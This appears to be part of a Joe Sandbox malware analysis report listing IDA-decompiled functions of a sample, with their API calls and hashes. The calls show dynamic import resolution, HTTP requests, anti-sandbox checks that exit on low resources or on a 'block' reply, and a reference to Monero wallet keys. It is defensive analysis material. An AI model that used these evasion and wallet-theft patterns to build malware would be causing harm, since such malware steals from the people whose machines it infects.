Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: e5ab345262ca03596d2bbea1648f87e2889ad7293aab8fb259e1c195792ad39d
Instruction ID: dd54886ad99ddc8d94883d237b21920f8e8ff908039e7fbfe7241bbb1b9e7c0f
Opcode Fuzzy Hash: e5ab345262ca03596d2bbea1648f87e2889ad7293aab8fb259e1c195792ad39d
Instruction Fuzzy Hash: 5CD05E7490030CDBCB00DFE0D8896DDBB78FB08312F001554E905A2340EA306482CBA6

Function 008B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01415DE8), ref: 008B9C2D
GetProcAddress.KERNEL32(75900000,01415CC8), ref: 008B9C45
GetProcAddress.KERNEL32(75900000,01428E20), ref: 008B9C5E
GetProcAddress.KERNEL32(75900000,01428DC0), ref: 008B9C76
GetProcAddress.KERNEL32(75900000,0142C9F8), ref: 008B9C8E
GetProcAddress.KERNEL32(75900000,0142CB60), ref: 008B9CA7
GetProcAddress.KERNEL32(75900000,0141AD80), ref: 008B9CBF
GetProcAddress.KERNEL32(75900000,0142C9E0), ref: 008B9CD7
GetProcAddress.KERNEL32(75900000,0142CB30), ref: 008B9CF0
GetProcAddress.KERNEL32(75900000,0142C968), ref: 008B9D08
GetProcAddress.KERNEL32(75900000,0142CAB8), ref: 008B9D20
GetProcAddress.KERNEL32(75900000,01415C08), ref: 008B9D39
GetProcAddress.KERNEL32(75900000,01415BC8), ref: 008B9D51
GetProcAddress.KERNEL32(75900000,01415B68), ref: 008B9D69
GetProcAddress.KERNEL32(75900000,01415CA8), ref: 008B9D82
GetProcAddress.KERNEL32(75900000,0142CB78), ref: 008B9D9A
GetProcAddress.KERNEL32(75900000,0142CC38), ref: 008B9DB2
GetProcAddress.KERNEL32(75900000,0141B118), ref: 008B9DCB
GetProcAddress.KERNEL32(75900000,01415DA8), ref: 008B9DE3
GetProcAddress.KERNEL32(75900000,0142CB48), ref: 008B9DFB
GetProcAddress.KERNEL32(75900000,0142CAA0), ref: 008B9E14
GetProcAddress.KERNEL32(75900000,0142CBA8), ref: 008B9E2C
GetProcAddress.KERNEL32(75900000,0142CBC0), ref: 008B9E44
GetProcAddress.KERNEL32(75900000,01415C28), ref: 008B9E5D
GetProcAddress.KERNEL32(75900000,0142CC50), ref: 008B9E75
GetProcAddress.KERNEL32(75900000,0142CB00), ref: 008B9E8D
GetProcAddress.KERNEL32(75900000,0142CA88), ref: 008B9EA6
GetProcAddress.KERNEL32(75900000,0142CA70), ref: 008B9EBE
GetProcAddress.KERNEL32(75900000,0142CAE8), ref: 008B9ED6
GetProcAddress.KERNEL32(75900000,0142CBF0), ref: 008B9EEF
GetProcAddress.KERNEL32(75900000,0142CA28), ref: 008B9F07
GetProcAddress.KERNEL32(75900000,0142CB90), ref: 008B9F1F
GetProcAddress.KERNEL32(75900000,0142CC20), ref: 008B9F38
GetProcAddress.KERNEL32(75900000,01429DD8), ref: 008B9F50
GetProcAddress.KERNEL32(75900000,0142C980), ref: 008B9F68
GetProcAddress.KERNEL32(75900000,0142C998), ref: 008B9F81
GetProcAddress.KERNEL32(75900000,01415D68), ref: 008B9F99
GetProcAddress.KERNEL32(75900000,0142CA10), ref: 008B9FB1
GetProcAddress.KERNEL32(75900000,01415DC8), ref: 008B9FCA
GetProcAddress.KERNEL32(75900000,0142C9B0), ref: 008B9FE2
GetProcAddress.KERNEL32(75900000,0142CA40), ref: 008B9FFA
GetProcAddress.KERNEL32(75900000,014157C8), ref: 008BA013
GetProcAddress.KERNEL32(75900000,01415A68), ref: 008BA02B
LoadLibraryA.KERNEL32(0142CB18,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA03D
LoadLibraryA.KERNEL32(0142CA58,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA04E
LoadLibraryA.KERNEL32(0142C9C8,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA060
LoadLibraryA.KERNEL32(0142CAD0,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA072
LoadLibraryA.KERNEL32(0142CBD8,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA083
LoadLibraryA.KERNEL32(0142CC08,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA095
LoadLibraryA.KERNEL32(0142CCE0,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA0A7
LoadLibraryA.KERNEL32(0142CE00,?,008B5CA3,008C0AEB,?,?,?,?,?,?,?,?,?,?,008C0AEA,008C0AE3), ref: 008BA0B8
GetProcAddress.KERNEL32(75FD0000,014156C8), ref: 008BA0DA
GetProcAddress.KERNEL32(75FD0000,0142CD40), ref: 008BA0F2
GetProcAddress.KERNEL32(75FD0000,01428700), ref: 008BA10A
GetProcAddress.KERNEL32(75FD0000,0142CC80), ref: 008BA123
GetProcAddress.KERNEL32(75FD0000,01415888), ref: 008BA13B
GetProcAddress.KERNEL32(734B0000,0141ADA8), ref: 008BA160
GetProcAddress.KERNEL32(734B0000,01415788), ref: 008BA179
GetProcAddress.KERNEL32(734B0000,0141AE20), ref: 008BA191
GetProcAddress.KERNEL32(734B0000,0142CCF8), ref: 008BA1A9
GetProcAddress.KERNEL32(734B0000,0142CDB8), ref: 008BA1C2
GetProcAddress.KERNEL32(734B0000,014159A8), ref: 008BA1DA
GetProcAddress.KERNEL32(734B0000,01415908), ref: 008BA1F2
GetProcAddress.KERNEL32(734B0000,0142CDD0), ref: 008BA20B
GetProcAddress.KERNEL32(763B0000,01415868), ref: 008BA22C
GetProcAddress.KERNEL32(763B0000,014157E8), ref: 008BA244
GetProcAddress.KERNEL32(763B0000,0142CD70), ref: 008BA25D
GetProcAddress.KERNEL32(763B0000,0142CE18), ref: 008BA275
GetProcAddress.KERNEL32(763B0000,01415A48), ref: 008BA28D
GetProcAddress.KERNEL32(750F0000,0141B0C8), ref: 008BA2B3
GetProcAddress.KERNEL32(750F0000,0141AE48), ref: 008BA2CB
GetProcAddress.KERNEL32(750F0000,0142CD88), ref: 008BA2E3
GetProcAddress.KERNEL32(750F0000,014156E8), ref: 008BA2FC
GetProcAddress.KERNEL32(750F0000,01415808), ref: 008BA314
GetProcAddress.KERNEL32(750F0000,0141B0F0), ref: 008BA32C
GetProcAddress.KERNEL32(75A50000,0142CCC8), ref: 008BA352
GetProcAddress.KERNEL32(75A50000,01415708), ref: 008BA36A
GetProcAddress.KERNEL32(75A50000,01428820), ref: 008BA382
GetProcAddress.KERNEL32(75A50000,0142CC98), ref: 008BA39B
GetProcAddress.KERNEL32(75A50000,0142CDA0), ref: 008BA3B3
GetProcAddress.KERNEL32(75A50000,01415A88), ref: 008BA3CB
GetProcAddress.KERNEL32(75A50000,01415728), ref: 008BA3E4
GetProcAddress.KERNEL32(75A50000,0142CD58), ref: 008BA3FC
GetProcAddress.KERNEL32(75A50000,0142CDE8), ref: 008BA414
GetProcAddress.KERNEL32(75070000,014158A8), ref: 008BA436
GetProcAddress.KERNEL32(75070000,0142CC68), ref: 008BA44E
GetProcAddress.KERNEL32(75070000,0142CD10), ref: 008BA466
GetProcAddress.KERNEL32(75070000,0142CCB0), ref: 008BA47F
GetProcAddress.KERNEL32(75070000,0142CD28), ref: 008BA497
GetProcAddress.KERNEL32(74E50000,01415848), ref: 008BA4B8
GetProcAddress.KERNEL32(74E50000,01415AA8), ref: 008BA4D1
GetProcAddress.KERNEL32(75320000,01415968), ref: 008BA4F2
GetProcAddress.KERNEL32(75320000,0142C908), ref: 008BA50A
GetProcAddress.KERNEL32(6F060000,01415748), ref: 008BA530
GetProcAddress.KERNEL32(6F060000,014159C8), ref: 008BA548
GetProcAddress.KERNEL32(6F060000,014157A8), ref: 008BA560
GetProcAddress.KERNEL32(6F060000,0142C950), ref: 008BA579
GetProcAddress.KERNEL32(6F060000,01415768), ref: 008BA591
GetProcAddress.KERNEL32(6F060000,01415828), ref: 008BA5A9
GetProcAddress.KERNEL32(6F060000,014159E8), ref: 008BA5C2
GetProcAddress.KERNEL32(6F060000,014158C8), ref: 008BA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 008BA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 008BA607
GetProcAddress.KERNEL32(74E00000,0142C710), ref: 008BA629
GetProcAddress.KERNEL32(74E00000,01428710), ref: 008BA641
GetProcAddress.KERNEL32(74E00000,0142C890), ref: 008BA659
GetProcAddress.KERNEL32(74E00000,0142C7D0), ref: 008BA672
GetProcAddress.KERNEL32(74DF0000,014158E8), ref: 008BA693
GetProcAddress.KERNEL32(6FA90000,0142C728), ref: 008BA6B4
GetProcAddress.KERNEL32(6FA90000,01415A08), ref: 008BA6CD
GetProcAddress.KERNEL32(6FA90000,0142C920), ref: 008BA6E5
GetProcAddress.KERNEL32(6FA90000,0142C7E8), ref: 008BA6FD

Strings

InternetSetOptionA, xrefs: 008BA5E5
HttpQueryInfoA, xrefs: 008BA5FC

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 57bf4608da8d93605e2bbcc5b21d75af4a6af3517653e243379657c082bc42e0
Instruction ID: b047b59bb93cd809c30fab4b5c091d8d34b3240aade3b9ba668fb009df45a374
Opcode Fuzzy Hash: 57bf4608da8d93605e2bbcc5b21d75af4a6af3517653e243379657c082bc42e0
Instruction Fuzzy Hash: E5621EBA500280AFC354DFE8EDD89563BF9F76C301715851EA609CB264D639B883DF62

Function 008A6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008A4839
Part of subcall function 008A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008A4849

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

InternetOpenA.WININET(008C0DFE,00000001,00000000,00000000,00000000), ref: 008A62E1
StrCmpCA.SHLWAPI(?,0142F028), ref: 008A6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008A6335
HttpOpenRequestA.WININET(00000000,GET,?,0142EB78,00000000,00000000,00400100,00000000), ref: 008A6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008A63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008A63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 008A63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 008A646D
InternetCloseHandle.WININET(00000000), ref: 008A64EF
InternetCloseHandle.WININET(00000000), ref: 008A64F9
InternetCloseHandle.WININET(00000000), ref: 008A6503

Strings

ERROR, xrefs: 008A6407
GET, xrefs: 008A637C
ERROR, xrefs: 008A64C9

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: ae6bb9928502593783f9b1def8d51f1fc93205326b928f50ec5554f9e29ebe3b
Instruction ID: a4b8680b129c93f3650c1ea45a0076ab20f1f1ffdf414a0a928a6a57f8b1d929
Opcode Fuzzy Hash: ae6bb9928502593783f9b1def8d51f1fc93205326b928f50ec5554f9e29ebe3b
Instruction Fuzzy Hash: A5713071A00218ABEF24DBE4CC95FEE7774FB45700F108158F509AB694DBB46A85CF52

Function 008B5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008BA820: lstrlen.KERNEL32(008A4F05,?,?,008A4F05,008C0DDE), ref: 008BA82B
Part of subcall function 008BA820: lstrcpy.KERNEL32(008C0DDE,00000000), ref: 008BA885

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008B5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008B56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008B5857

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008B51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008B5228

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008B5318
Part of subcall function 008B52C0: lstrlen.KERNEL32(00000000), ref: 008B532F
Part of subcall function 008B52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 008B5364
Part of subcall function 008B52C0: lstrlen.KERNEL32(00000000), ref: 008B5383
Part of subcall function 008B52C0: lstrlen.KERNEL32(00000000), ref: 008B53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008B578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 008B5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008B5A0C
Sleep.KERNEL32(0000EA60), ref: 008B5A1B

Strings

ERROR, xrefs: 008B5636
ERROR, xrefs: 008B59FE
ERROR, xrefs: 008B5849
ERROR, xrefs: 008B5693
ERROR, xrefs: 008B577D
ERROR, xrefs: 008B5932

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 92b12320cc6435a60573887e74b9108a62fa95a75e633460e1983815a2edb3b7
Instruction ID: 7147cdb2dd3bf1e165b5ea38c08904ec23eeb0854f25ed2092bef37a5877aa11
Opcode Fuzzy Hash: 92b12320cc6435a60573887e74b9108a62fa95a75e633460e1983815a2edb3b7
Instruction Fuzzy Hash: D8E11671910504AADB18FBA8DC96EED7778FF54300F508528B506E6691EF346B09CBA3

Function 008B17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 008B17C5
ExitProcess.KERNEL32 ref: 008B17D1

Strings

block, xrefs: 008B17B7

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a3cd3b5b12fcf5a66055603154e6228c8fda2e4bda910b78dce0376374b3e096
Instruction ID: 1314b82fbd4ddff3723e26d966009919ab6432b3cca691a61924f28179c756f3
Opcode Fuzzy Hash: a3cd3b5b12fcf5a66055603154e6228c8fda2e4bda910b78dce0376374b3e096
Instruction Fuzzy Hash: C15148B4A00249EBCF04DFA4D9A8AFE7BB5FB44744F908058E516EB340D774E942CB62

Function 008B7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 008B7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008B757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7603
RtlAllocateHeap.NTDLL(00000000), ref: 008B760A
wsprintfA.USER32 ref: 008B7640

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Strings

C, xrefs: 008B754C
:, xrefs: 008B755C
\, xrefs: 008B7560

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: ecb2e817fe77180bcdf13652f22c6df44b58ee32fd8cdaafb3dc4e51906cdbe5
Instruction ID: 6db6e486095ea2a1ceb18dc8468d69eb0c9129546fa8ba9372673b472ee49154
Opcode Fuzzy Hash: ecb2e817fe77180bcdf13652f22c6df44b58ee32fd8cdaafb3dc4e51906cdbe5
Instruction Fuzzy Hash: 844181B1904348ABDB10DF98DC95BDEBBB8FB58704F140199F509AB280DB746A44CBA6

Function 008B69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420408), ref: 008B98A1
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420618), ref: 008B98BA
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420630), ref: 008B98D2
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420678), ref: 008B98EA
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,014206A8), ref: 008B9903
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,014286D0), ref: 008B991B
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01415D48), ref: 008B9933
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01415B88), ref: 008B994C
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420420), ref: 008B9964
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,014204E0), ref: 008B997C
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,014203F0), ref: 008B9995
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420540), ref: 008B99AD
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01415AC8), ref: 008B99C5
Part of subcall function 008B9860: GetProcAddress.KERNEL32(75900000,01420468), ref: 008B99DE

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008A11D0: ExitProcess.KERNEL32 ref: 008A1211

Part of subcall function 008A1160: GetSystemInfo.KERNEL32(?), ref: 008A116A
Part of subcall function 008A1160: ExitProcess.KERNEL32 ref: 008A117E

Part of subcall function 008A1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 008A112B
Part of subcall function 008A1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 008A1132
Part of subcall function 008A1110: ExitProcess.KERNEL32 ref: 008A1143

Part of subcall function 008A1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 008A123E
Part of subcall function 008A1220: __aulldiv.LIBCMT ref: 008A1258
Part of subcall function 008A1220: __aulldiv.LIBCMT ref: 008A1266
Part of subcall function 008A1220: ExitProcess.KERNEL32 ref: 008A1294

Part of subcall function 008B6770: GetUserDefaultLangID.KERNEL32 ref: 008B6774

Part of subcall function 008A1190: ExitProcess.KERNEL32 ref: 008A11C6

Part of subcall function 008B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008A11B7), ref: 008B7880
Part of subcall function 008B7850: RtlAllocateHeap.NTDLL(00000000), ref: 008B7887
Part of subcall function 008B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 008B789F

Part of subcall function 008B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008B7910
Part of subcall function 008B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 008B7917
Part of subcall function 008B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 008B792F

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

